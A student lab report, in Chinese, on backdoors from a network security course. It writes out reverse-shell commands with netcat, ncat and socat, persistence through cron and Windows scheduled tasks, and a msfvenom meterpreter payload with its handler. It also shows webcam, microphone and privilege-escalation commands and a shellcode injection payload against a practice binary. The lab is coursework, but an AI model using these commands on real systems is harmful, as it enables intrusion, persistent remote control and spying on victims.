2019-2020-2 网络对抗技术 20175214 Exp2 后门原理与实践
2019-2020-2 网络对抗技术 20175214 Exp2 后门原理与实践
一、常用的后门工具
-
1、ncat
-
ncat简介
- 一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- http://nc110.sourceforge.net/
- http://netcat.sourceforge.net/.
-
Windows获取kali的shell
- 首先在Windows中查看本机IP地址为
192.168.177.1
- 然后在Windows命令行中进入解压出来的ncat文件夹,开启监听,
ncat.exe -l -p 5214
- 在kali中反弹链接Windows,
nc 192.168.177.1 5214 -e /bin/sh
,获取shell- 其中,-e 选项用于执行shell
- 注意,要在有内容的文件夹下测试,我对着空的文件夹ls了半天...
- 首先在Windows中查看本机IP地址为
-
kali获得Windows的shell
- kali在sudo模式下使用
ifconfig
查看本机ip地址为192.168.177.132
- 在kali命令行中开启监听,
nc -l -p 5214
- 在Windows命令行中进入解压出来的ncat文件夹反弹链接kali,
ncat.exe -e cmd.exe 192.168.177.132 5214
- 这一步多次出现了
积极拒绝
报错,但是之后自己又好了,猜测可能是端口被临时占用。 - 使用
dir
测试,kali成功获得了Windows的shell
- kali在sudo模式下使用
-
kali向Windows中传输文件
- 在kali中
vim
一个file.in
文件,修改内容并保存; - Windows中输入
ncat.exe -l 5214 > file.out
,开启监听; - kali反弹链接Windows,
nc 192.168.177.1 5214 < file.in
- 在kali中
-
-
2、SoCat
- Netcat++,超级netcat工具,任何代理、转发等功能都可以用该工具实现。
-
3、Meterpreter
- 是通过
msfenom
把后门的基本功能
(基本的连接、执行指令),扩展功能
(如搜集用户信息、安装服务等功能),编码模式
,运行平台
,以及运行参数
全都做成零件或可调整的参数
从而组成的一个可执行文件。 - 常用参数
-p
使用的payload,payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。-e
使用的编码器,用于对shellcode变形,为了免杀。-i
编码器的迭代次数。如上即使用该编码器编码5次。-b
badchar是payload中需要去除的字符。LHOST
是反弹回连的IPLPORT
是回连的端口-f
生成文件的类型>
输出到哪个文件
- 是通过
二、实验内容
(1)使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。
- 1、先在Windows下开启监听;
- 2、使用
crontab
指令增加一条定时任务,-e
表示编辑,crontab -e
; - 3、在配置文件设置反向链接时间:
s * * * * /bin/netcat 192.168.177.1 5214 -e /bin/sh
,即在每个小时的第s
分钟自动连接Windows主机的5214
端口。
(2)使用socat获取主机操作Shell, 任务计划启动
-
1、在win中下载socat并解压;
-
2、
计算机管理
->任务计划程序
->创建任务
-
3、填写名称;
-
4、设置触发器,设定启动时间
-
5、编辑操作,程序脚本选择之前解压的socat.exe文件的路径,参数为
tcp-listen:5214 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5209 ,同时把cmd.exe的stderr重定向到stdout上;
-
6、创建完成后可以在任务库中之前设置的任务准备就绪
-
7、到达指定时间后,socat自动开始运行
-
8、然后在回到kali,输入
socat - tcp:192.168.177.1:5214
就可以获得windows的shell- 其中,参数
-
代表标准的输入输出, tcp
代表使用流连接到Windows主机的指定端口IP:port
为Windows的IP地址和指定的端口,
- 其中,参数
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
1、在Kali中输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.177.132 LPORT=5214 -f exe > 5214_bd.exe
,运行结束会在当前文件夹生成一个exe;- IP地址选择的是kali的IP,也是之后windows主机反向连接的ip,即控制方ip。
- IP地址选择的是kali的IP,也是之后windows主机反向连接的ip,即控制方ip。
-
2、在Windows下开启监听,
ncat.exe -lv 5214 > 5214_bd.exe
-
3、在kali中进行传输,输入
nc 192.168.177.1 5214 < 5214_bd.exe
,传输结束。- 此处IP地址选择的是windows的IP,即被控制方ip。
- 此处IP地址选择的是windows的IP,即被控制方ip。
-
4、在kali上输入
msfconsole
进入msf控制台,进行配置:use exploit/multi/handler
:使用监听模块,设置payloadset payload windows/meterpreter/reverse_tcp
:使用和生成后门程序时相同的payloadset LHOST 192.168.177.132
:控制方Kali的IP,需要和之前生成的后门exe时设置的IP相同;set LPORT 5214
:设置端口;
-
5、设置完成后输入
exploit
,然后在windows中启动5214_bd.exe
,kali中将自动获得shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
1、获取音频
- 使用
record_mic
指令可以截获一段音频,使用-d
设置录制时间
- 使用
-
2、获取摄像头
- 使用
webcam_snap
指令可以使用摄像头进行拍照(这也提醒我们平常摄像头、麦克风等要设置为关闭)
- 使用
-
3、截屏
- 使用
screenshot
指令可以进行截屏
- 使用
-
4、提权
- 输入
getuid
可以查看当前用户 - 输入
getsystem
可以进行提权操作
- 输入
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
这个项目最难的一点其实就是找到对应的shellcode来执行反弹连接这个操作,不过还好这些步骤在往届学长学姐,还有一些同学的博客里都可以找到,省了我不少功夫。
-
首先是要下载对应的shellcode,下载地址
-
然后要注意的是,先打开一个终端进行和实验一相同的关闭地址随机化等操作
我才不会告诉你我又在这玩意上栽了跟头 -
然后进行和实验一相同的注入工作
- 在终端A中运行pwn1;
- 在终端B中查找pwn1的进程号,并用GDB计算esp的地址,也就是shellcode注入的地址,计算得出的是
0xffffd6d0
; - 使用下载的代码和算出的地址构造一个shellcode
perl -e 'print "A" x 32;print"\xd0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
- 在新终端中输入
msfconsole
,进入msf控制台进行配置和开启监听
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp //注意,这里的payload就是之前下载的那个
set LHOST 127.0.0.1 // 即本机ip
set LPORT 4444 // 默认配置
exploit // 结束配置,开启监听
- 然后在另一个终端输入
(cat input_shellcode;cat) | ./pwn1
,按两次回车,此时在之前那个终端就可以看到反弹连接shell成功。
三、问题回答
- (1)例举你能想到的一个后门进入到你系统中的可能方式?
- 我最经常下载的应该就是网上的一些破解软件,免费软件,它们的安装包就极有可能被人安装了后门,还有钓鱼邮件之类的。
- (2)例举你知道的后门如何启动起来(win及linux)的方式?
- windows的话可以通过注册表,自启动项来设置自动运行,或者像这次实验一样设置计划;
- linux可以通过编写自动运行的脚本来自动启动对应的后门软件;
- (3)Meterpreter有哪些给你映像深刻的功能?
- 肯定是获取权限,比如在不知情的情况下你就有可能被获取了摄像头的权限,一举一动都处在别人的监视下,私人信息和机密文件也毫不设防,任人宰割。
(4)如何发现自己有系统有没有被安装后门? - 可以通过注册表编辑器查找未知的自启动项,还有查看被占用的端口等等,但最有效的应该还是定期使用杀毒软件进行系统检查。
- 肯定是获取权限,比如在不知情的情况下你就有可能被获取了摄像头的权限,一举一动都处在别人的监视下,私人信息和机密文件也毫不设防,任人宰割。
四、心得体会
再一次奋战到深夜,比上一次还要晚一些,但却没有多少困意,因为这次实验为我揭开了黑客神秘的面纱,这是我十分感兴趣的。本次实验感觉更偏向于应用,前几项都比较简单,但是加分项就有些麻烦了,需要联动之前实验1的内容,并且加以实践,期间参考了很多网上的材料、学长以及一些同学的博客,这些材料除了本身的知识,其背后蕴含的思考方式同样让我受益良多,层层递进的思考,猜想并加以验证,思维的碰撞让我着迷。
这次实验让我学会了后门的基本原理以及基本的操作,也了解了后门带来的危害,明白了系统安全的重要性,通过查阅资料也锻炼了我的自学能力,收获很大。